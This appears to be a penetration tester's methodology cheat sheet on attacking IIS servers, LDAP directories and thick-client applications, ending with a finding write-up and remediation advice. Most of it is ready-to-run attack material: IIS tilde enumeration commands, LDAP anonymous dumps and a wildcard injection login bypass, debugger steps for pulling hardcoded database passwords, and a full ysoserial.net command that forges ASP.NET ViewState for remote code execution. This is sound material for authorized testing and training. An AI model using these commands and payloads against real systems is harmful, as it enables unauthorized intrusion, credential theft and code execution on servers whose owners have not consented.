πŸ›‘οΈ Methodology Checklist

  • IIS tilde enumeration: java -jar iis_shortname_scanner.jar 2 20 http://[TARGET]/
  • Confirm 8.3 filenames with 404 vs 400 response difference
  • LDAP injection: test auth fields with *)(& payloads
  • LDAP dump if injectable: extract user objects
  • Thick client: capture traffic with Burp/Wireshark (set as proxy)
  • Check for hardcoded credentials in thick client config files
  • Decompile if .NET: dnSpy; if Java: JD-GUI

🎯 Operational Context

Use when: IIS web server identified, LDAP exposed, or thick client application being assessed β€” exploit IIS tilde enumeration, anonymous LDAP bind, or thick client traffic interception. Think Dumber First: IIS tilde: curl http://[TARGET]/~1/ returns 404 if no short names, 400 if tilde enumeration works. Anonymous LDAP: ldapsearch -x -H ldap://[TARGET] -b '' -s base β€” if it works, enumerate everything. Thick client: route through Burp. Skip when: IIS is 8.0+ with tilde fix applied (post-2012 patch).


⚑ Tactical Cheatsheet

CommandTactical Outcome
java -jar iis_shortname_scanner.jar 0 5 http://[TARGET_IP]/IIS 8.3 tilde enumeration β€” find hidden file/dir prefixes
egrep -r ^[PREFIX] /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/filtered.txtBuild wordlist from discovered prefix
gobuster dir -u http://[TARGET_IP]/ -w /tmp/filtered.txt -x .aspx,.aspFuzz full filename from prefix
nmap -p 389,636,3268 -sC -sV --open [TARGET_IP]Scan LDAP ports (389=cleartext, 636=LDAPS, 3268=AD GC)
ldapsearch -H ldap://[TARGET_IP] -x -b "dc=[DOMAIN],dc=com" "(mail=user@domain.com)"LDAP anonymous bind enumeration
ldapsearch -H ldap://[TARGET_IP]:389 -x -b "dc=[DOMAIN],dc=com" "*"Dump all LDAP objects (anon bind)
Username: * Password: * in login formLDAP injection wildcard auth bypass
gdb ./[BINARY] β†’ set disassembly-flavor intel β†’ disas main β†’ b *(main+[OFFSET]) β†’ run β†’ x/s $rdxGDB breakpoint to catch ELF connection string in RDX
strings -e l [FILE].dllFind UTF-16LE strings in .NET DLL
Get-ChildItem -Path C:\ -Filter "[FILE].dll" -Recurse -ErrorAction SilentlyContinueLocate a target .NET DLL on disk (Windows)
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "[COMMAND]" --validationkey="[VALKEY]" --validationalg="[VALALG]" --decryptionkey="[DECKEY]" --decryptionalg="[DECALG]" --path="/[page].aspx" --apppath="/"Forge a malicious __VIEWSTATE from a leaked machineKey β†’ RCE as IIS app pool

πŸ”¬ Deep Dive & Workflow

IIS Tilde (8.3) Enumeration

Affects: IIS 7.0 – 10.0 with 8.3 filenames enabled
Logic: Windows generates short names (SecretDocs β†’ SECRET~1)
       IIS reveals file existence based on ~prefix

Workflow:
1. java -jar iis_shortname_scanner.jar 0 5 http://[TARGET]/
   β†’ Output: TRANSF~1.ASP β†’ file starting "transf", extension .asp
2. Generate wordlist: egrep -r ^transf /usr/share/wordlists/ | sed 's/^[^:]*://' > list.txt
3. gobuster dir -u http://[TARGET]/ -w list.txt -x .asp,.aspx

Pitfalls:
- 403 after finding shortname = file exists, need full name
- Scanner hangs β†’ edit config.xml: <acceptableDifferenceLengthBetweenResponses>-1</acceptableDifferenceLengthBetweenResponses>
- Always check both .asp and .aspx extensions

LDAP Enumeration & Injection

# Anonymous bind dump
ldapsearch -H ldap://[TARGET_IP] -x -b "dc=[DOMAIN],dc=com" "*"
 
# Targeted user search
ldapsearch -H ldap://[TARGET_IP] -x -b "dc=[DOMAIN],dc=com" "(sAMAccountName=[USER])"
 
# Authenticated bind
ldapsearch -H ldap://[TARGET_IP] -D "cn=[USER],dc=[DOMAIN],dc=com" -w [PASS] -b "dc=[DOMAIN],dc=com" "*"

Sensitive attributes to hunt: userPassword, description, notes β€” admins paste cleartext creds here.

LDAP injection auth bypass:

Login form: Username: *   Password: *
Resulting query: (&(objectClass=user)(sAMAccountName=*)(userPassword=*))
β†’ Always true β†’ bypasses auth

Injection chars: * (wildcard), ( ) (grouping), | (OR), & (AND), \ (escape)

Thick Client Credential Extraction

ELF Binary (Linux) β€” GDB breakpoint method:

gdb ./target_binary
gdb-peda$ set disassembly-flavor intel
gdb-peda$ disas main
# Find: call <SQLDriverConnect@plt> or similar connect function
gdb-peda$ b *(main+433)    # decimal offset to the call
gdb-peda$ run
gdb-peda$ x/s $rdx         # RDX = 3rd arg (connection string in Linux x64 calling convention)
# Output: "DRIVER={...};UID=sa;PWD=N0tS3cr3t!;"
  • PIE binaries: use b *main+offset (not raw address, which changes)
  • Linux x64 calling convention: RDI (1st), RSI (2nd), RDX (3rd)
  • Stack-built strings: movabs instructions β†’ must break at call to see assembled string

.NET DLL (Windows) β€” dnSpy static analysis:

1. strings -e l target.dll  (UTF-16LE for .NET)
2. Open in dnSpy β†’ navigate Controllers β†’ find connection string variable
3. Look for: connectionString, Password=, PWD=

ProcMon dropper capture (Windows):

1. ProcMon64 β†’ filter: Process Name = [APP.EXE]
2. Watch for CreateFile in AppData\Local\Temp
3. Lock Temp folder: Security β†’ disable Delete + Delete Subfolders β†’ apply
4. Re-run app β†’ .bat file stays
5. Remove "del" lines from .bat β†’ run manually β†’ decode Base64 β†’ get binary
6. x64dbg β†’ Options: keep only Exit Breakpoint β†’ open binary β†’ F9 β†’ Memory Map
   β†’ find RW- section ~3000 bytes β†’ Dump Memory β†’ drag through de4dot β†’ open in dnSpy

Decode a captured Base64 dropper back into the binary (PowerShell):

$salida = $null; $fichero = (Get-Content [BASE64_TXT_PATH]); foreach ($linea in $fichero) { $salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("[OUTPUT_EXE_PATH]", [System.Convert]::FromBase64String($salida))

Concatenates the captured Base64 lines, strips spaces, and writes the decoded bytes to an .exe β€” the manual step after pulling the .bat dropper out of %TEMP%.

ASP.NET ViewState Deserialization RCE (leaked machineKey)

Single-OS note: Windows/IIS-only attack surface; ysoserial.net is the standard tool and runs from a Linux attack box via mono/wine β€” single-OS coverage is correct here (no Linux-target dual form needed).

Precondition: an exposed or leaked web.config β€” pulled via LFI/path-traversal (see LFI_Path_Traversal_Bypasses) or a directory-listing exposure β€” disclosing the <machineKey>:

<machineKey
  validationKey="[VALKEY]" validation="[VALALG]"
  decryptionKey="[DECKEY]" decryption="[DECALG]" />

ASP.NET signs (and optionally encrypts) __VIEWSTATE with these keys. With the keys in hand you can forge a payload the server will trust and deserialize β†’ RCE.

Forge the payload (ysoserial.net, run from Linux via mono/wine β€” the canonical operator path):

mono ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "[COMMAND]" \
  --validationkey="[VALKEY]" --validationalg="[VALALG]" \
  --decryptionkey="[DECKEY]" --decryptionalg="[DECALG]" \
  --path="/[page].aspx" --apppath="/"

Deliver: POST the forged blob to the target page as the __VIEWSTATE parameter, with the matching __VIEWSTATEGENERATOR value (the one ysoserial computed for that --path/--apppath). On deserialization [COMMAND] runs as the IIS app pool identity.

Gotchas:

  • Align --path/--apppath so the computed __VIEWSTATEGENERATOR matches the value in the real request β€” let ysoserial derive it from the page path rather than forcing --generator with a guessed value.
  • Wrong generation style? Toggle --islegacy β€” older ASP.NET versions use a different ViewState generation scheme.
  • Paste the ysoserial output AS-IS into the request β€” do not let Burp double-URL-encode it (re-encoding the already-encoded blob corrupts the MAC and the server rejects it).

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
IIS tilde returns 404 for allTilde fixed or feature disabledConfirm IIS version first; fix was patched in 2012; try on old IIS installs
LDAP anonymous bind failsAnonymous bind disabledExpected hardened config; pivot to authenticated LDAP with any domain creds
Thick client traffic not in BurpNot using system proxyConfigure thick client proxy settings; or use Proxifier/ProcMon to force traffic through Burp
LDAP dump too largeFull domain enumerationFilter: ldapsearch -x ... '(objectClass=user)' sAMAccountName mail for specific attributes
IIS enumerated paths return 404Short name found but file removedShort names of deleted files may still enumerate; focus on existing enumerated paths
Forged ViewState rejected (MAC validation failed)__VIEWSTATEGENERATOR mismatch or double-encodingAlign --path/--apppath so ysoserial’s computed generator matches the real request; paste output AS-IS (disable Burp re-encoding); try --islegacy

πŸ“ Reporting Trigger

Finding Title: IIS Tilde Enumeration Exposes Hidden Files and Directory Structure Impact: IIS 8.3 filename enumeration reveals short names of files and directories not accessible through normal browsing, exposing backup files, configuration files, and hidden directories that enable further exploitation. Root Cause: IIS configured to allow 8.3 short filename generation. Short names are enumerable via HTTP without authentication through the IIS tilde vulnerability. Recommendation: Disable 8.3 filename generation on IIS server volumes (fsutil 8dot3name). Apply Microsoft patch for IIS tilde vulnerability. Enumerate and verify no sensitive files are accessible via discovered paths.